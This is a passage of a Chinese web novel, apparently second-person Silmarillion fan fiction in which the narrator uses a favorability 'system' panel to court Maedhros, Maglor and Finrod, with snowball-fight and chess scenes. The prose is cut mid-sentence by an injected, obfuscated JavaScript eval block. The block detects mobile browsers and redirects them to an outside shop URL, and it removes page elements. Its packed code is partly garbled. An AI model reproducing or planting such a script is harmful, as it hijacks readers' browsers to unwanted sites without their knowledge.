不然呢,气氛都烘托到这份上了,你总不可能反过来指责他吧?按照套路来你势必要表现出理解和支持的一面,尽管你的内心对他说的这些故事的感兴趣程度远不及对他的美貌来得多。 简单来说就是你可以倾听他说这些原生家庭之痛,但接下来你要做什么他应该心里有数。 你耸耸肩,说:“可能有一点吧,但肯定没有你自己想的那么多。” “我很抱歉。” “你又在道歉什么?” “抱歉你的恋人是个犯下罪孽的精灵。” 他的道德感比你想的还要高啊,但没关系,一想到高道德感的精灵日后为情所困的样子,你还真有点好奇。 你还以为听他说完这些你们之间的关系能有什么突破性进展呢,结果好像也没什么区别,尽管你们仍旧一同入眠,但睡的是素觉。 唉!纯洁的精灵! 你得承认自己确实挺喜欢迈兹洛斯的皮囊,不过你希望有突破性进展也是因为他的好感度又卡在一个数值上一动不动了。 不是吧,好感度平台期又来了吗?在身侧的迈兹洛斯陷入沉睡的时候你打开系统面板安静地查看好感度,发现除了迈兹洛斯,你把他那些弟弟的好感度都刷到了40以上,其中和你相处时间最多的玛格洛尔好感度更是到了55。 虽然这个精灵小伙面上不显,但你打开好感度一看就知道他可没表面展现出来的那么冷淡疏离。 得要感谢好感度面板,让所有喜欢装酷的精灵都无所遁形。 不过话又说回来了,该怎么才能把迈兹洛斯的好感度刷满呢?其实他现在的好感度88也已经很高了,但你真的有点好奇好感度百分百的他会是什么样的。 关闭好感度面板,你侧过头看了迈兹洛斯一眼,侧躺着的他板着脸都陷入柔软的枕头里,在熟睡中的他眉眼都舒展开来,看上去无忧无虑。 你饶有兴致地勾起一缕他的长发,绕在自己的指尖,又或者是用指尖点点他的鼻尖,换来他很清浅的呢喃。 好吧,这还真的有点可爱。 * 这样的生活持续了几天,迈兹洛斯每天都很忙,他有太多的事情要处理,并且对于自己不能陪伴着你而感到愧疚,某天你端着玛格洛尔做的点心去书房找他的时候,坐在办公桌后的迈兹洛斯满是歉意地对你说:“抱歉,这段时间我都没能好好陪你。” 你把装着点心的白色瓷盘放在桌上,很体贴地说:“没关系,我能理解你。” 毕竟就算他不能陪你,那你也可以玩他的兄弟们,啊不是,你说的是和他的弟弟好好相处。 你越是这么说迈兹洛斯就越是愧疚,他握着羽毛笔的手顿了顿,说:“我会尽快处理手头的事情的。” 实际上他要做的事情远没有他说的那么简单,那就是他要乘船穿过海浪去往那个寒冷的冰川寻找芬国昐和其他的诺多精灵,不久前和你的对话让他意识到自己还有赎罪的机会,他不想让自己在余下的生命里都为此感到愧疚,而且他也不想让其他精灵觉得你的爱侣是个会逃避问题的精灵。 只不过当初费艾诺一脉的诺多精灵都是乘坐泰勒瑞精灵制造的白船抵达的中土,论造船,没有一族精灵能够比得过泰勒瑞,他们生来对大海有着天然的喜爱,自然也知道如何与大海和平共处。 所以在迈兹洛斯决定返回寻找其他诺多精灵之时,就有两个选项摆在他面前,要么去向辛葛王寻求帮助,但这样势必会暴露更多,辛葛也会得知当初在天鹅港的真相,他可以坦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16882599|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然承认自己犯下的错误,但辛葛大概率不会原谅,所以另外一个选项就是自行造船。 迈兹洛斯思考再三选择后者。 因此他所说的“事情”指的是建造一支船队去寻找横跨冰川的诺多精灵,而且这件事他只告诉了自己的心腹以及弟弟玛格洛尔,至于为什么其他弟弟不告诉,那是他知道他们未必会表示赞同。 只有玛格洛尔,他们算是最亲密的兄弟,迈兹洛斯在和玛格洛尔说起这决定时这位曾经的摄政王只是平静地说:“我知道了。”至于其他的,一切尽在不言中。 迈兹洛斯那时对着玛格洛尔笑了下,又说起自己被魔苟斯俘虏时,被吊在悬崖上的时候就已经思考了许多。 “但她,是她又轻轻地推了我一把。”迈兹洛斯说到你的时候声音都变得轻盈起来,如同羽毛。 而那场对话最后的结尾就是迈兹洛斯拜托玛格洛尔在他离开的那段时间里好好照顾你,听到这个请求的玛格洛尔神情微妙,嘴唇动了动,但到最后都没有说出一句拒绝的话,其一是他确实没办法拒绝自己的哥哥,其二就是,他确实得要看着你,以免你在他一个不留神间就把其余的费诺里安玩弄于股掌之间。 所以综合考虑下来,玛格洛尔还是点了点头,说自己会做到的。 时间回到现在,迈兹洛斯握住你的手,把你带到他身边,脑袋抵着你的小腹,他是坐着的,你是站着的,所以你可以轻而易举地低头俯视他,再轻轻抚摸他的头发,“苏尔,我很快就会回来的。” 这话听上去就像是在立flag,至少在你把他的好感度刷满前可别死掉啊,不然你会觉得很可惜的,毕竟好感度差一些就能满值了。 不过嘛,他要是晚点回来对你来说也有好处,你可以把心思匀出来应对他的弟弟。 所以他就安心地去吧。 你唇角的笑意都要压制不住了,可还得要装出一副失落的样子,好在迈兹洛斯没抬头,你说:“我知道,我会想念你的。” 迈兹洛斯深吸一口气,嗅闻的动静有些明显,听上去就像是他在吸你。 这就有点怪了,但也无所谓啦。 迈兹洛斯最后还是松开手,他有些担心自己要是再不松手的话真的会舍不得。 要不然干脆带你一块去算了,这个念头冒了出来。 不,还是不行,凶猛的海浪还有极寒的冰川对于人类来说还是太危险了,于是迈兹洛斯又硬生生地将这个想法给压下去。 你走到书房门口,估计是要走了吧,你说:“那我就不打扰你了。” 那语调还有些轻快,但迈兹洛斯知道你这是在强颜欢笑,或许你的内心和他一样都在哀愁着吧。 事实证明迈兹洛斯想错了,你在离开迈兹洛斯的书房以后脚步轻巧,哪怕不懂微表情也能从你的肢体动作里读出你很高兴,这份高兴一直延续到你折返回后厨,玛格洛尔还在清理烤盘,你说:“我把我们做的点心送过去了。” 玛格洛尔奇怪地反问:“什么时候变成我们了?从原料准备到烤制,你好像就做了装盘这一步骤吧?” “那这也是我的付出呀,而且迈兹洛斯看到点心也很高兴哦。” 鬼扯吧,作为知道内情的精灵,玛格洛尔都能猜到迈兹洛斯现在肯定烦躁得很,什么高兴不高兴的,估计都是因为你装出来的。 玛格洛尔用毛巾擦拭手上的水珠,说:“你还是那么会玩文字游戏。” 嘴上是这么说的,但其实玛格洛尔也没有要和你生气的意思,他将毛巾放下,双手都变得干燥,空气有一瞬间的凝滞,在这时候他也想起了迈兹洛斯之前叮嘱过他的事情。 也不知道迈兹洛斯有没有和你说过,玛格洛尔说:“你……” 此时的你拿起一块蔓越莓曲奇,玛格洛尔做的还是软曲奇,口感松软,蔓越莓的酸味恰到好处地调节了软曲奇本身的腻味。 看玛格洛尔那副欲言又止的模样,你说:“抱歉,我只是咬了一口而已,剩下的都是你的。” “不,我不是这个意思。”你是把他当成年幼的精灵了吗?还会因为几块小饼干而生气吗?哪怕是真的在他的幼年期他也没为此生气过,这种事情只有凯勒巩才做得出来。 “那你是什么意思?” “迈兹洛斯让我在他走后好好照顾你。”终于把这话给说出来了,但玛格洛尔并没有因此松一口气,因为你的双眼变得亮晶晶的,笑容狡黠,比狐狸还要狡黠,愈发让他内心感觉不妙。 你缓步向他走来,慢悠悠的,玛格洛尔完全可以避开的,但他没有,他可不会再落入下风,他与你四目相对,说:“所以你也最好别在这段时间惹麻烦。” 哇哦,他这语气活像是在威胁你诶。 “我不太明白。” “不明白什么?”他警惕地在名为你的陷阱周围打转,仔细嗅着可疑的气息。 “对你说的‘惹麻烦’不太明白。” “那就是离我的弟弟远一点。”玛格洛尔决心把话说开。 你轻轻地哼了一声,那声音从你的鼻腔里送出来,“真有趣,你嘴上说着离我的弟弟远一点,但在我靠近你的时候并不抗拒,所以我是否可以理解为——” “不可以。”他忙不迭地打断你要说的话。 真糟糕,他在你的眼里看到了自己慌乱的脸庞,他还是掉进你的陷阱里了。 更糟糕的是他的脑海里又浮现出那一晚的画面,在后湖游泳的你带起一阵涟漪,他被水声吸引过去,站在岸上,看你从水下冒出脑袋,莹莹的水珠顺着你的脸庞还有锁骨滑落,漆黑的,如同海藻般的长发贴着雪白的皮肤,就如同海妖。 然后你对他笑了一下。 玛格洛尔开始后悔了,他不该答应迈兹洛斯的,因为他或许做不到好好照顾你,他屏住呼吸,说:“到此为止。” “好啊,到此为止。” 你在说反话,他知道的,你的意思是—— 这才刚刚开始。 35-40 第36章 哇哦,这波啊,这波是白切黑绿茶和傲娇的决战啊。 你伸出手将他脸颊上的碎发捋到耳后,玛格洛尔也不是那种斤斤计较的精灵,这个话题也就这么一笔带过,在去餐厅的路上你真切地感到了几分来自冬天的寒意,以及饥饿感。 简而言之就是现在的你又冷又饿, 听上去还真是有点可怜。 等到了餐厅,除了安格罗德你还看见了芬罗德,他们兄弟俩显然在聊些什么,安格罗德先发现了你,就对你挥挥手,说:“我还以为你早就已经吃过早餐了呢。” 芬罗德打趣道:“你知道的,苏尔她是最喜欢睡懒觉的。” 真无奈, 原来你喜欢睡懒觉的形象已经深入人心了吗?你走到他们的餐桌旁边,又对芬罗德说:“你应该不会把这条记在书里的吧?” “这个嘛……”芬罗德没有给出确切的答复,所以你想他大概率是已经把这一条给写进去了,行吧,日后精灵要是对人类有什么错误的刻板印象那就都是你的锅了。 你喝了几口温热的牛奶,这个世界的牛奶都奶味十足,芬罗德动作娴熟地替你往烤面包片上涂抹果酱,非常实诚地涂满了果酱,厚厚一层,光是看一眼就知道一口咬下去肯定会很满足。 玛格洛尔将你和芬罗德的互动看在眼里,芬罗德倒也不是区别对待,因为他后来也给玛格洛尔递去一块烤面包片,上面也涂了一层果酱,这都让玛格洛尔挑不出错来了。 所以最后玛格洛尔只是安静地吃着面包片,但他放在餐桌下的手却轻轻地挨着你的手臂,最后小拇指勾着你的小拇指,你面上不显,但也还算有兴致地回应着他。 玛格洛尔看你若无其事地吃完早餐,周围的其他两个精灵都不会知道你们在餐桌下的小动作,这是只属于你们之间的秘密。 早餐结束了,你和玛格洛尔的秘密也戛然而止,你主动抽回手,单方面中断这暧昧时刻,玛格洛尔顿了顿,而后才反应过来,有些缓慢地收回手,显露出几分怅然若失的感觉。 在快要进入中午的时候天空中陆陆续续地飘起雪花,这里的雪花也都是大片大片的,这就是传闻中的鹅毛大雪了吧,你从发现第一片落下的雪花开始就一直站在落地窗边,玛格洛尔已经在这片大陆上生活了几十年,见过几十场的大学,他再没有你初次看见大雪的惊喜。 玛格洛尔对初雪的反应平平无奇,但没关系,你还有另外一个玩雪的搭子,那就是安格罗德,你兴冲冲地朝着工坊跑去,等你跑到工坊入口的时候你还没缓过气来就开始砰砰砰地敲门。 在一连串敲门声后安格罗德从门后面走出来,他说:“你做什么——” 这话还没说完,他在看到屋外的大雪时话语就戛然而止,他睁大眼睛,“下雪了?这里的下雪天和我想的有些不太一样。” “如果不是我提醒你估计你还不知道吧?”你说。 安格罗德说:“但我知道你肯定会来提醒我的。” “所以……你现在还要打铁吗?”说着,你往工坊里又多瞧了一眼,发现工坊里的炉子还燃着火,将整个工坊都照得亮堂堂的,看样子他打铁正好打到一半呢。 安格罗德说:“你先去吧,我待会就来,哦对,你还可以和芬罗德一块去看雪,如果是你的邀请的话,我想他肯定会欣然答应的吧。” 邀请芬罗德去看雪吗?也不是不可以,但鉴于你昨天晚上才和玛格洛尔本垒打,这样下去你觉得修罗场会炸,所以你决定邀请他们两个。 什么叫做端水,这就叫做真正的端水。 这两个精灵面对你去看雪的邀请反应也各不相同,芬罗德的反应正如他的弟弟安格罗德说的那样欣然答应,才答应完没多久就又说:“你只穿这么一身衣服会不会太单薄了?” 还是老毛病,担心你生病死掉,但你觉得他的担心也不无道理,因为如果要玩雪的话确实得要换一身更加厚实的衣服,所以你说:“那我先回去换个衣服。” 在折返回房间的路上你还遇到了玛格洛尔,这不是巧了吗,你正好要找他来着的,于是你问他要一起去看雪吗? 玛格洛尔的反应和芬罗德不太相似,他说:“你是只邀请了我吗?还是别的精灵也邀请了?” 那还真是要让他失望了,你还邀请了别的精灵,你说:“我还邀请了芬罗德。” “你先邀请了他?” 不是吧,你不久前还在夸奖他是个不斤斤计较非常大度的精灵呢,这就开始打脸了吗? 你说:“这些小细节不用太在意。” 玛格洛尔幽幽地说:“这些真的只是一些小细节吗?” 好了,再这样下去可真是没完没了了,你对他做了个停的手势让他打住,然后你才说:“你确定要毁掉现在的轻松气氛吗?我可以再给你一个机会,你只需要回答是或者否,玛格洛尔,你是否要和我一块去看雪呢?” 听你的语气变得严肃,玛格洛尔也知道自己再揪着这点不放估计你就要生气了,他叹一口气,选择让步,说:“我愿意。” 要是没有芬罗德的存在那就更好了,试想一下,他和你行走在厚厚的,松软的积雪层里,那些对他来说无趣的白雪也变得多姿多彩。 你说完这话就从他身边走过,等你回到房间换了一身衣服,还是带着毛领的衣服,那衣服应该是芬罗德送给你的,因为当初在冰天雪地里的那些年经历让他也习惯性地在身边多备着几件皮草。 精灵做的皮草也没有你想象的那么沉重,甚至还很方便行动,同时也很保暖,非常适合在这样的冰天雪地里去户外玩耍。 你脚步轻快地沿着长廊跑去,从这头跑到另外一头,然后就在雪地里见到了等候有一会的芬罗德和玛格洛尔。 你站在阶梯上对他们挥挥手,说:“这样的雪景可真美啊。” 芬罗德顺着你的话头说:“是啊,很美。”他一边说一边走到你跟前,因为你站在最后一节台阶上,这样恰好能与他视线齐平,他伸出手整理你的领子,肯定你刚才跑来的路上太急了,所以就连衣领也变得凌乱。 玛格洛尔说:“这种事情还是让我来做吧。” 怎么了这是,又不是什么大事他们怎么还争上了? 你看看芬罗德,再看看玛格洛尔,前者气定神闲,仿佛压根就没有听见后者说的话,至于后者,表情微妙,他向你递去一个眼神,就像是在无声地说:你难道不说点什么吗? 你还能说点什么呢?难不成说让他们不要再打了吗?那你还真是变成幼师了是吗? 反正只要不直接舞到你面前,你只当做没看见这暗流涌动的修罗场,等芬罗德给你整理好衣领,你就低声对他说谢谢。 芬罗德说:“专门对我说谢谢会不会太见外了?” 什么见外不见外的,你这叫有礼貌。 玛格洛尔说:“也是,她就从来不和我说谢谢。” 谢谢,这到底是在夸你还是在损你? 这不是在当着你的面造谣吗?你说:“我和你说过谢谢的。” 玛格洛尔牵着你的手,说:“啊……我记起来了,昨晚是吗?你说谢谢款待。” 小心眼的费诺里安,你瞥了他一眼,抽回手,从他们两个精灵中间穿过,你是来玩雪的,不是来经历修罗场的。 你弯腰抓起地上的一把雪,然后团成团,双手用力,把雪球压得很瓷实,你又在手里掂量了一下重量,这个分量刚刚好。 你转过身,趁着芬罗德和玛格洛尔没有反应过来直接把雪球丢出去,看好了,你这才叫不忘初心,来玩雪就真的只是来玩雪的,不扯其他的东西。 精灵的反应速度是人类的七倍。 不好意思,上面这句话是你胡诌的。 但精灵的反应速度确实很快,只不过架不住他们爱演,愣是装出一副被你偷袭成功的样子,别以为你没发现芬罗德他还特意切换位置,直接撞上你的雪球,哪有这么打雪仗的?就连玛格洛尔都没想到芬罗德,这个纳国斯隆德的君主还能这么演。 你目睹玛格洛尔的眼睛微微睁大,表情惊讶,然后你忍不住笑出声。 也不用那么惊讶吧? 玛格洛尔说:“你还真是打了他一个猝不及防啊。”这话里话外都在嘲讽芬罗德的伪装,居然连刚才的反应都能伪装出来。 芬罗德掸去身上的雪渣子,但因为刚才雪球炸开的时候有些零星的雪星子落在他的发间,就连他的眼睫也沾染了一些碎屑,他缓慢地眨了一下眼睛,湛蓝色的眼瞳里满是笑意,他不好意思地对你请求道:“你能帮我掸去头发上的雪花吗?” 你居然从芬罗德身上嗅到了绿茶的气息,俗话说的好,如果绿茶是只对你用些小心思的话,那么你只会觉得绿茶可爱。 就比如说你现在就觉得芬罗德很可爱,毕竟他肯为你花心思就是好的。 于是你很配合地走到他面前,伸出手。 你的手指穿过他金灿灿的长发,他那与生俱来的金发泛着柔顺的光泽,平常看起来就很赏心悦目,只不过放到现在不免给你掸去那些雪花碎屑造成一些困难。 不过芬罗德的心思本来就没在让你正儿八经地掸去雪花碎屑上,他只是找了个由头和你凑在一块而已,这个真实理由听起来有些幼稚,哪怕在他的青春期也很少那么幼稚,或许是与你的相遇,也有可能是对你的感情唤起了他年少青涩幼稚的一面。 那就是想尽千方百计地吸引你的注意力。 你的手指时不时还会擦过他的耳廓,动作轻盈,像是蝴蝶掠过,可是冬天又怎么会有蝴蝶呢? 他那双湛蓝色的眼瞳里倒映出你的面容,你那专注认真的面庞,眼睛一眨不眨地,注视着他,只看着他,光是这一点就让芬罗德的内心被柔软温暖的情感填满。 “你的头发颜色太浅了,有些雪花碎屑我都找不到。”你向他解释道,你做不到将那些碎屑全都找出来。 芬罗德宽慰道:“没关系,那些碎屑可能已经变成水珠了吧。” 玛格洛尔的耐心也是有限的,现在他的耐心就被耗尽了,他不可能眼睁睁地看着你和芬罗德相处得那么亲密而他无动于衷的,他说:“够了,打雪仗可没有那么多的讲究,还有你,芬罗德,你以前在维林诺的时候可不是这样的,怎么,区区一点雪花碎屑就让你感到不适了吗?那不如听听我给你的忠告,那就是赶紧一边呆着去,好好赏雪,安安静静地欣赏雪景。” 你明显能够听出玛格洛尔着急了,说话语速飞快,而且每一句话的攻击性都很强,最后汇聚成一句话:装什么装? “好吧,我无意打断这场雪仗,既然玛格洛尔都已经那么说了,那苏尔就请继续吧。”芬罗德非常体贴地对你那么说,此话一出就变成了都是玛格洛尔的刁钻刻薄态度才影响这场看雪活动的。 好一个转移问题重心,玛格洛尔差点就要冷笑出声,在你和他们拉开距离以后战争一触即发,趁着你弯腰团雪球的间隙玛格洛尔已经将几个雪球朝着芬罗德投去,准头很好,力度也很好,是那种只要命中就会让皮肤红一片的力度。 低头团雪球的你忽然感觉到有什么东西擦着你的头顶飞过,你抬头一看,发现玛格洛尔和芬罗德的战争已经进入白热化阶段,两个精灵的脑袋上都沾满了雪花碎屑,玛格洛尔面无表情,芬罗德笑容清浅。 哇哦,这波啊,这波是白切黑绿茶和傲娇的决战啊。 你很敷衍地丢了几个雪球,没往他们身上砸,那些个雪球只是落在的玛格洛尔和芬罗德的脚边。 应付一下得了,打雪仗哪里有看精灵扯头花好玩啊。 那两个精灵从一开始的相对克制,到后面的攻击一轮接一轮,根本就不给对方反应过来的机会,恨不得用雪球淹没对方,而你也是见识了一下修罗场中的精灵武力值有多强大。 等安格罗德忙完工坊的事情姗姗来迟,他才走到雪地的边缘就看得一头雾水,他不可能问正在交战中的玛格洛尔和芬罗德,所以只能转而询问你这个目击者,“他们怎么打起来了?” 你耸耸肩,说:“我也不知道,就……莫名其妙地打起来了,不过也有可能是他们平常的压力太大了?” 安格罗德真的相信了你的压力说,甚至还觉得这样能够让自己的哥哥芬罗德释放压力。 那他可真是个好弟弟。 他看了一会又小声地对你说:“但玛格洛尔下手是不是太狠了一点?”他的哥哥和玛格洛尔之间有什么怨气吗?安格罗德仔细回忆了好一会也不觉得他们之间结下了什么仇怨。 于是他就将这一切归咎于费诺里安的性格,果然,他就知道费诺里安的性格阴晴不定,他们的父亲菲纳芬就和费艾诺的关系不怎么样,现在好了,到了他们的下一辈关系也不怎么样。 你问安格罗德:“那你要去帮忙吗?” 安格罗德却对自己的哥哥芬罗德很有信心,“我相信我的哥哥会赢的。” 闻言,你瞧了一眼身上都是雪花的芬罗德,老实说,你觉得够呛。 但再看一眼玛格洛尔,其实玛格洛尔的情况也好不到哪里去,两个精灵的形象都有些狼狈。 安格罗德说:“其实他们两个现在看上去挺幼稚对吗?”他说得很小声,但精灵的听觉是何其灵敏,玛格洛尔和芬罗德异口同声道:“我都听见了!” 安格罗德没忍住笑出声,他从善如流地道歉,“抱歉,实在是抱歉,我不该那么说的。”话语间他还冲你眨眨眼,摆明了这道歉就不是诚心诚意的。 雪落得越来越大,最后还刮起了风,这场雪仗才以平局落下帷幕,玛格洛尔和芬罗德都没有讨到好处,等他们走到温暖的室内,那气温就将雪花融化成水珠,打湿衣角还有头发。 你也在这时候说:“你们看上去需要去好好收拾一下自己。” 玛格洛尔说:“我知道。”他还对刚才雪仗的平局耿耿于怀,胜负心被激发出来以后就很难再收回去,他现在脑子里都在思考之后又该怎么赢过芬罗德,他们俩一前一后离开休息室,迎面吹来的寒风让他发热的头脑冷静下来。 他刚才太不理智了,他对芬罗德说:“我没想到你也会那么幼稚。” 芬罗德笑了一下,“但偶尔幼稚一次的感觉也不坏,你难道不觉得放松吗?” 放松?玛格洛尔仔细回忆了一下刚才的经历,好吧,确实有某些时刻算得上是放松,他说:“姑且算是吧。” “那就好,至少你在纳国斯隆德留下的也不都是糟糕的回忆。” 玛格洛尔想说这里也给他留下了美好的回忆,比如说昨晚与你的经历,但是他无比吝啬地不想将这一丁点的细节透露给芬罗德,这些细节都被他珍藏起来,放在记忆宫殿里,没有其他的精灵会知道。 玛格洛尔的头脑彻底清醒也变得冷静许多,他看向窗外,雪花纷飞,他不由地想到了远在北方的兄长迈兹洛斯,此刻的他又在做什么呢?他的心情又是如何呢? 此时在希斯路姆的迈兹洛斯正在接待一位访客,也是他的好友芬巩,芬巩是前两天路过希斯路姆,特意来见一见迈兹洛斯,顺便和他说一说自己领地内部的情况,说到一半他就发现了迈兹洛斯的心不在焉。 “麦提莫,你在担心什么吗?”芬巩问道。 迈兹洛斯下意识地就想着说没有,但芬巩又是何其了解他呢,他说:“我们之间也还会存在谎言吗?如果是很棘手的事情或许我能帮你。” 帮?芬巩又该怎么帮他?这些感情问题又不是消灭一群半兽人就能解决的,那是……根植于他和你关系不对等延伸出来的问题,如果没有从根源上解决问题的话,其他的都是治标不治本的行为。 尽管如此,迈兹洛斯还是感受到了芬巩的关心,他说:“我很感谢你的关心。” “然后呢,你又要说些拒绝我的话了吗?”芬巩叹息一声,“我们的关系好像变得生疏了一些。” 迈兹洛斯摇了摇头,“这个问题很难解决,是和苏尔有关的。” 听到你的名字,芬巩的表情变了变,是你啊,也对,迈兹洛斯深爱着你,所以和你有关的事情都会被他放在心上,所以是你遇到了什么麻烦吗? “是什么?”芬巩认为你也是他的朋友,如果你真的遇到了什么问题,他也有义务帮助你。 但迈兹洛斯说完上一句话表情就变得微妙,这份微妙持续了很久,最后他说:“我之前因为太害怕失去她,所以做了一些她不太喜欢的事情。” 芬巩惊讶道:“你就像是当初对待那只雀鸟一样对待了她!?” “什么?我没有——” 迈兹洛斯辩解道,“你为什么会觉得我会这么做?” 芬巩低声说抱歉,接着分析原因,“可能……是因为你当初真的很喜欢那只雀鸟,又真的很不舍得让它离开,最后它过得很痛苦,你也没有多好受。” 芬巩的话语让迈兹洛斯的思绪飘到从前,他起初也只是担心那只雀鸟去往外面的世界活不下去而已,它实在是……太脆弱,太柔弱了。 等等,他忽然反应过来,他也在担心你的死去,哪怕你的实力可以撂倒卡兰希尔,但他还是打心底地觉得你很容易因为各种原因死去。 所以才会过度保护,所以才会历史重演。 迈兹洛斯说:“谢谢——多亏了你我才发现自己的问题所在,我……我总是太想要控制这一切了。” “那我很高兴能够帮到你……?”芬巩也没想到自己随口一说就让迈兹洛斯恍然大悟,但问题真的就这么解决了吗?芬巩不这么觉得。 第37章 “我的一个朋友……” 他的堂兄似乎太乐观了,认为事情就这么解决了。 但是……芬巩的脑海里浮现出关于你的画面,你与他初次见面的时候那笑盈盈的样子,就像是在期待他的到来, 这或许只是他的错觉, 他也希望这真的是错觉, 否则又该如何解释你对他的过分热情呢? 难道要说是你对他一见钟情吗?未免也太自作多情了一些,芬巩当即就否定了这个猜测, 只当做你这是爱屋及乌,你是因为喜欢迈兹洛斯,才会自然而然地善待他周围的精灵,他只是恰好被划到了这个范围里。 芬巩说:“那她现在又在哪里呢?” 迈兹洛斯回答:“在芬罗德那里。” 那就是在纳国斯隆德了,不知道为什么芬巩的心里莫名有种不太好的预感,虽说你只是去芬罗德那里做客的,又会发生什么呢?又能够发生什么呢? 他是不是对你的疑心太重了?明明你对待他那么友好,而且如果不是你迈兹洛斯还会被羁押在安格班,无论怎么看他都应该感谢你才对的,但他的心里疑虑重重,也不能说他对你心存偏见,只能说是他的直觉在作怪。 够了,他将自己的直觉压制下去,又问迈兹洛斯:“那你要去找她吗?” 迈兹洛斯想了一下,又轻轻地摇了摇头, 说:“不了, 我现在过去只会被她当做我保护欲太强,她会不高兴的。” 芬巩若有所思, 看迈兹洛斯的样子分明就是在担心你, 但又碍于种种原因不能直接去见你, 于是芬巩说:“这样吧,正好我也要去见一见芬罗德,到时候我替你向她问好如何?” “真的?”迈兹洛斯有些激动,那笑意在他的眉眼还有唇角蔓延,他说:“那真是……我该好好感谢你的。” 芬巩摆摆手,“感谢就免了,我看到你心情好转我也能放心一点。”迈兹洛斯刚才那副心不在焉的样子在芬巩看来实在是让他担心。 “对了,玛格洛尔呢?”芬巩顺便问起玛格洛尔的近况,迈兹洛斯说:“他出去寻找合适的领地了。”他们这些费诺里安到时候也会分别管理自己的领地,不可能一直聚在一块,毕竟他们还需要组成一道防线抵挡北方的魔苟斯,所以当初迈兹洛斯听玛格洛尔那么说的时候也没有起疑心。 倒不如说他本就很少怀疑自己的弟弟。 闻言,芬巩应了一声,他的视线转移到窗外,屋外大雪纷飞,在这样的天气下他多少有些担心,“这种天气……玛格洛尔真的没事吗?” 怎么可能没事呢,现在在纳国斯隆德的玛格洛尔换好衣服就从房间里走出来,然后和站在长廊上的芬罗德打了个照面,后者还在对玛格洛尔浅笑,玛格洛尔的脸色阴沉,他笑不出来。 “你换好衣服了?那我们一块去休息室吧,别让苏尔久等了。”芬罗德贴心地提醒玛格洛尔。 在去休息室的路上玛格洛尔还想和芬罗德说些什么,倒不如说是炫耀什么,比如说他和你的关系远比他想的亲密多了,但在他恢复理性以后就意识到这种炫耀是毫无意义的,甚至还会给你惹来麻烦,虽然你总是给他添麻烦,但是,他知道你是最讨厌别的精灵给你找麻烦的。 沉默,还是沉默,如同死一般的寂静,玛格洛尔觉得这种安静的氛围刚刚好,而芬罗德却说:“刚才雪仗结束以后苏尔先查看的是你的情况。” 是么?玛格洛尔没有发现这一点,尽管他确实会拿你对他的和对待其他精灵的态度进行对比,但是,他不会把你的关心当成某种战利品,那就显得更加幼稚了。 可芬罗德却观察得那么仔细,很难不让他猜测对方心里到底在想什么。 究竟在想什么呢?是在思考他在你究竟有多少分量吗? 玛格洛尔说:“我没留意。” “但我看到了。” 那只能说明是他不识相了。 芬罗德没有一直和玛格洛尔谈论你的事情,实际上他还谈论起安格班,他和其他的精灵也很忧心那躲在安格班堡垒下的魔苟斯在背地里筹划着什么阴谋诡计,在他看来未雨绸缪是很有必要的,但如果只是他一个精灵那么想的话,只能说是杯水车薪的努力,所以尽可能团结其他精灵抵御魔苟斯也是他目前的想法。 虽说之前还在因为你的事情和芬罗德针锋相对,但在这件事上玛格洛尔的态度也很严肃,他说:“迈兹洛斯也是这么想的。” “那我很高兴和你的兄长有着相同的想法。”这样是否意味着可以朝着团结的目标迈进一大步了呢? 毕竟迈兹洛斯现在是诺多的至高王,倘若有他答应的话,其他精灵也会加入这个计划。 坐落在北方的安格班就如同扎在贝烈瑞安德大陆上的毒刺,一天不除掉,芬罗德就一天不能心安。 玛格洛尔又说:“实际上我们费诺里安早就已经考虑过这个问题了。” 感受到芬罗德投来的疑惑目光,玛格洛尔就接着往下说,当然不会和盘托出,只是说个大概而已,他和芬罗德说起自己的兄长决定在北方建立起一条抵御安格班的防线,这样一来哪怕到时候魔苟斯要做些什么,这一道防线也能阻拦他大部分的攻击。 相当于迈兹洛斯带着自己的下属还有兄弟守在前线。 听到这里,芬罗德的心情就和他的表情一样复杂,他说:“我也应该尽到自己的责任。” “这话还是留着到时候和迈兹洛斯当面说吧。”玛格洛尔感觉再说下去自己和芬罗德的关系很可能会变好,但一想到对方还是自己的情敌,那就更奇怪了,所以还是保持现在的状态就好。 芬罗德听出玛格洛尔要终止这个话题的意思,他说:“好,我会之后找机会与迈兹洛斯当面说明的。” 但玛格洛尔觉得但凡迈兹洛斯发现芬罗德对你的感情,这个合作估计会变得有些棘手。 算了,一切的事情都要等到之后再说。 玛格洛尔和芬罗德走到休息室,打开门就看见你和安格罗德坐在桌边下棋,你虽然棋艺不佳,但靠着“悔一下”“我再悔一下”的操作愣是和安格罗德一盘棋下到现在,当然在这其中也有安格罗德给你放水的一部分原因,坐在你对面的安格罗德笑盈盈的,看见站在门口的玛格洛尔还有哥哥芬罗德,他便说:“你们二位要来下棋吗?” 芬罗德走到弟弟安格罗德身边,看似观棋,实则是在关注你的表情变化,只见你单手托腮,因为在室内待的时间有点久,你的脸颊都是微微泛红的,白色的棋子在你的指腹间摩挲着。 忽然之间你抬起头瞧了芬罗德一眼。 笑什么笑啊他,难不成是在笑话你的棋艺吗?你下棋的水平他又不是第一天知道了,你说:“我的棋艺还是有很大的进步空间的。” 安格罗德附和道:“嗯嗯,我也觉得有很大的进步空间。” 然后将黑色棋子落在棋盘上,说:“看样子好像是我赢了。” 你撇撇嘴,把已经被你用体温捂热乎的棋子丢进棋盒里,说:“不玩了。” 没错,你就是玩不起,你不否认这一点。 安格罗德一边收拾棋局一边询问玛格洛尔和芬罗德要不要下棋,你忽然想到了什么,说:“只是下棋而已,你们俩可别像刚刚打雪仗似的真的打起来呀。” 玛格洛尔问道:“那你希望谁赢呢?” 你摊手,“反正不是我赢,你们谁赢对我来说也没什么区别。” 有的时候说实话也能起到端水的作用,就比如说现在。 芬罗德坐在你刚才的位置,你走到休息室的壁炉旁边烤火,顺便往炉子里再添加一些柴火,安格罗德跟着你一块走到壁炉旁边然后坐下,他说:“你不去看他们下棋吗?” 